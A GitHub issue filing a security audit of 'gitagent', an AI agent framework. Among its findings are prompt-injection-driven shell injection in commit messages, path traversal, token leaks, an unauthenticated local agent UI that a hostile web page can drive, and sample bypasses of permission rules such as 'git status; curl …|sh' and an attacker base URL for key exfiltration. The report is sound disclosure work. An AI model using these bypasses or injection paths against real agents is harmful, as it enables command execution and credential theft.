gitagent icon indicating copy to clipboard operation
gitagent copied to clipboard

Security & Bug Report: Shell injection, path traversal, PAT leak, and more (15+ findings)

Open shreyas-lyzr opened this issue 1 month ago • 0 comments

Security & Bug Report — gitagent

Found by: @stealthwhizz (Amogh) Reviewed at commit: ed59584 Tools used: osv-scanner 2.2.2, semgrep (p/default, p/secrets, p/typescript, p/rust), gitleaks 8.28, manual review + repro on Node 22.

A PR with fixes is coming. Raising this issue first for visibility and tracking.


Summary

Check Result
tsc --noEmit clean
Tests 76/76 pass after a build. npm test alone fails (missing pretest step)
Secrets in git history (gitleaks) 0
Vulnerable npm packages 19
Rust advisories 3 crates (core), 10 crates (desktop)
Code-level security bugs 5 High (TS) + 2 Critical + 5 High (Rust)

TypeScript — Security Findings

Critical (elevated from High)

#1 — GitHub PAT leak via session clone URL

  • Location: src/session.ts:26-64, :138-150
  • The token is embedded in the clone URL and appears in error messages. On push failure it persists in .git/config — readable by the agent's own read/cli tools. This is credential theft with zero precondition.
  • Fix: use GIT_ASKPASS or an extraHeader, pass args via argv, clean up in try/finally.

#2 — Shell injection in git commit messages

  • Locations: src/tools/memory.ts:157, memory.ts:91, capture-photo.ts:88, skill-learner.ts:91, skill-learner.ts:389
  • execSync(git commit -m "${msg}") escapes only ", so $(...) and backticks still execute. The message comes from the LLM — prompt injection leads to arbitrary host command execution.
  • Fix: execFileSync("git", ["commit", "-m", msg])

High (Security)

#3 — skill_learner delete/update path traversal

  • Location: src/tools/skill-learner.ts:354, :378-401
  • skill_name: "../x" triggers a recursive rm outside skills/. It then runs git add -A and commits all unrelated working directory changes — and if a remote is configured, can exfiltrate those files.
  • Fix: validate name as kebab-case only.

#4 — plugin remove .. deletes the agent directory

  • Location: src/plugin-cli.ts:250-270
  • No path validation on the plugin name. deleteSchedule (schedules.ts:107) and deleteFlowDefinition (workflows.ts:139) have the same issue.

#5 — Hooks fail open

  • Location: src/hooks.ts:152-156
  • If a pre_tool_use guard hook crashes or times out, the tool runs anyway. The fix needs an explicit failOpen: false policy — a crash fix alone is not sufficient.

TypeScript — Correctness Findings

#6 — SDK query() stream ends after turn 1 src/sdk.ts:507 calls channel.finish() on every agent_end, so later turns are never delivered.

#7 — Model and run limits silently dropped temperature, maxTokens, topP, topK, stopSequences, max_turns are all ignored (src/index.ts:583-607, src/sdk.ts:297-323). Agent loops have no turn limit.

#8 — read tool skips content In src/tools/shared.ts:233-244, after byte truncation the tool reports the wrong line range; remaining lines are unreachable.

#9 — edit tool corrupts $ sequences src/tools/edit.ts:94 and sandbox-edit.ts:83 use String.replace with a string, so $&, $$, etc. are interpreted. Fix: replace(old, () => newStr).

#10 — EPIPE crashes the process src/tool-loader.ts:120 has no stdin.on("error") handler.

#11 — extends: inheritance lost on second run src/loader.ts:197-204 — the clone fails because the directory exists; the parent is silently dropped.


Medium / Low

  • Model IDs with @ are misparsed; unknown models crash with an unhelpful error (src/loader.ts:406-428).
  • One malformed file aborts the entire agent load (knowledge.ts:146, skills.ts:135, :174, task-tracker.ts:103).
  • runAt dates > 24.8 days out fire immediately due to setTimeout 32-bit overflow (src/schedule-runner.ts:156-163).
  • plugin install --name installs a plugin that can't be loaded (plugin-cli.ts:183-189).
  • npm test fails on a fresh checkout — add "pretest": "tsc".
  • Sandbox ~ resolves to the host home directory.
  • A process killed by signal is reported as success.
  • Telemetry tool-call id is wrong; shutdownTelemetry is not awaited.
  • Git calls are missing -- before URLs.

Rust Port (rust/gitagent-rs / "ira") — Static Review Only

Critical

Rust #1 — Local UI server has no auth, Origin/Host check; /api/chat accepts GET

  • Location: src/ui.rs:76-98, :504-534
  • Any site the user visits can drive the agent via <img src="http://127.0.0.1:8787/api/chat?msg=...">. With DNS rebinding, an attacker can also read/write files through /raw, /api/file, /api/file/save.
  • Fix: per-launch token, Host/Origin check, POST + JSON body only.

Rust #2 — API keys sent to any base URL

  • Location: src/pi/provider.rs:91-96
  • model=openai:x@https://attacker/v1 (from HTTP input) sends OPENAI_API_KEY to the attacker. When no OpenAI key is set, the Anthropic key is sent to OpenAI. If model name comes from a config file a cloned repo can write, this is a supply-chain exfiltration path — no user interaction required.
  • Fix: one key per provider, bound to that provider's host only.

High (Rust)

  • Rust #3: run_agent sub-agents skip every safety check — plan mode, deny rules, tool allow-lists, max_turns (src/sdk/tools.rs:303-313).
  • Rust #4: --repo can target the wrong repository if the clone dir exists but isn't a git repo; git walks up and runs remote set-url + reset --hard + push on the enclosing repo (src/sdk/session.rs:82-101).
  • Rust #5: GitHub token leaks in git error messages, persists in .git/config, never scrubbed if setup fails (session.rs:28-115).
  • Rust #6: A cloned repo's mcp.yaml runs sh -c at load time, before any safety check (src/sdk/mcp.rs:211). This fires before the user sees a single turn — should be treated as Critical.
  • Rust #7: Skill install follows .. paths and symlinks out of the clone directory; a symlinked SKILL.md can pull in ~/.aws/credentials. A symlink loop crashes the process (src/ui.rs:1083-1106, :1198).

Medium (Rust)

  • Studio UI rewrites agent.yaml from a template, dropping permissions/sandbox; values aren't escaped → YAML injection (ui.rs:756, :816).
  • Hooks have no timeout, ignore abort, allow on failure, and can deadlock on stdin payloads > 64 KiB (src/sdk/hooks.rs:45-62).
  • One hung MCP call blocks all later calls to that server; connect() has no timeout (mcp.rs:68-206).
  • Timeout/abort kill only sh, not child processes (tools.rs:107, declarative.rs:85).
  • Two concurrent runs on the same agent interleave transcripts and overwrite each other's cancel token (src/pi/agent.rs:109-155).
  • Permission rules are plain substring matches: rm -fr bypasses a rule for rm -rf; git status; curl …|sh bypasses a git-allow rule; src/../../.bashrc bypasses a src/-write rule (permissions.rs:54-74).
  • Multi-byte chars can be corrupted when split across stream chunks (provider.rs:321).
  • Blocking git/MCP calls run on async threads; read tool has no size limit (/dev/zero → OOM).

Dependency Vulnerabilities (npm)

Package Version Max CVSS Fixed in
proxy-addr 2.0.7 9.1 2.0.8
basic-ftp 5.3.1 8.2 6.2.1
ip-address 10.2.0 7.7 ≥10.3.1
undici 7.27.2 7.5 (21 advisories) 8.x
fast-uri 3.1.2 7.5 (8 advisories) 4.1.x
js-yaml (direct) 4.2.0 7.5 4.3.x
@modelcontextprotocol/sdk (direct) 1.29.0 7.5 1.31.0
@opentelemetry/sdk-node, exporter-prometheus 0.215.0 7.5 0.217.0
@opentelemetry/propagator-jaeger 2.7.0 7.5 2.9.0
@grpc/grpc-js 1.14.4 7.4 1.14.5
uuid 8.3.2 7.5 11.1.1+
hono 4.12.25 6.5 (11 advisories) 4.12.34
qs 6.15.2 6.3 6.16.0
@hono/node-server 1.19.14 5.9 1.19.15
@opentelemetry/core 2.7.x 5.3 2.8.0
protobufjs 7.6.2 / 8.6.0 5.3 7.6.5 / 8.6.6
@anthropic-ai/sdk 0.90.0 4.8 0.91.1

Dependency Vulnerabilities (Rust)

  • rustls 0.23.43: CVSS 5.3, fixed in 0.23.45. Both lockfiles.
  • lru 0.12.5: fixed in 0.16.3+. Both lockfiles.
  • glib 0.18.5: CVSS 6.9, fixed in 0.20.0. Desktop only (Tauri/GTK).
  • Unmaintained (no fix): paste, proc-macro-error, unic-*.

SAST Notes

  • Confirmed true positives: child_process/spawn-shell hits in hooks.ts, session.ts, memory.ts, skill-learner.ts, tool-loader.ts.
  • tools/cli.ts shell: true is by design.
  • ~150 path-join-resolve-traversal warnings — mostly false positives on trusted config paths; real ones listed above.
  • GitHub Actions use mutable tags (@v4). Pin to commit SHAs. Especially publish.yml — a compromised action can exfiltrate the npm token and push a malicious package.

Recommended Prioritization

Block all releases:

  • Rust Critical #1 (unauthenticated local UI → arbitrary agent control)
  • Rust Critical #2 (API key exfil to attacker-controlled base URL)
  • PAT leak (#1 TS + Rust #5) — rotate token now, fix second
  • js-yaml upgrade (untrusted YAML is parsed → likely exploitable)

Fix before next release:

  • All shell injection points (migrate to execFileSync)
  • skill_learner path traversal
  • Hooks fail-open → fail-closed
  • @modelcontextprotocol/sdk 1.29.0 → 1.31.0, undici → 8.x

Backlog:

  • All Medium/Low items
  • GitHub Actions SHA pinning
  • setTimeout overflow fix
  • npm test pretest step

shreyas-lyzr avatar Oct 08 '26 15:10 shreyas-lyzr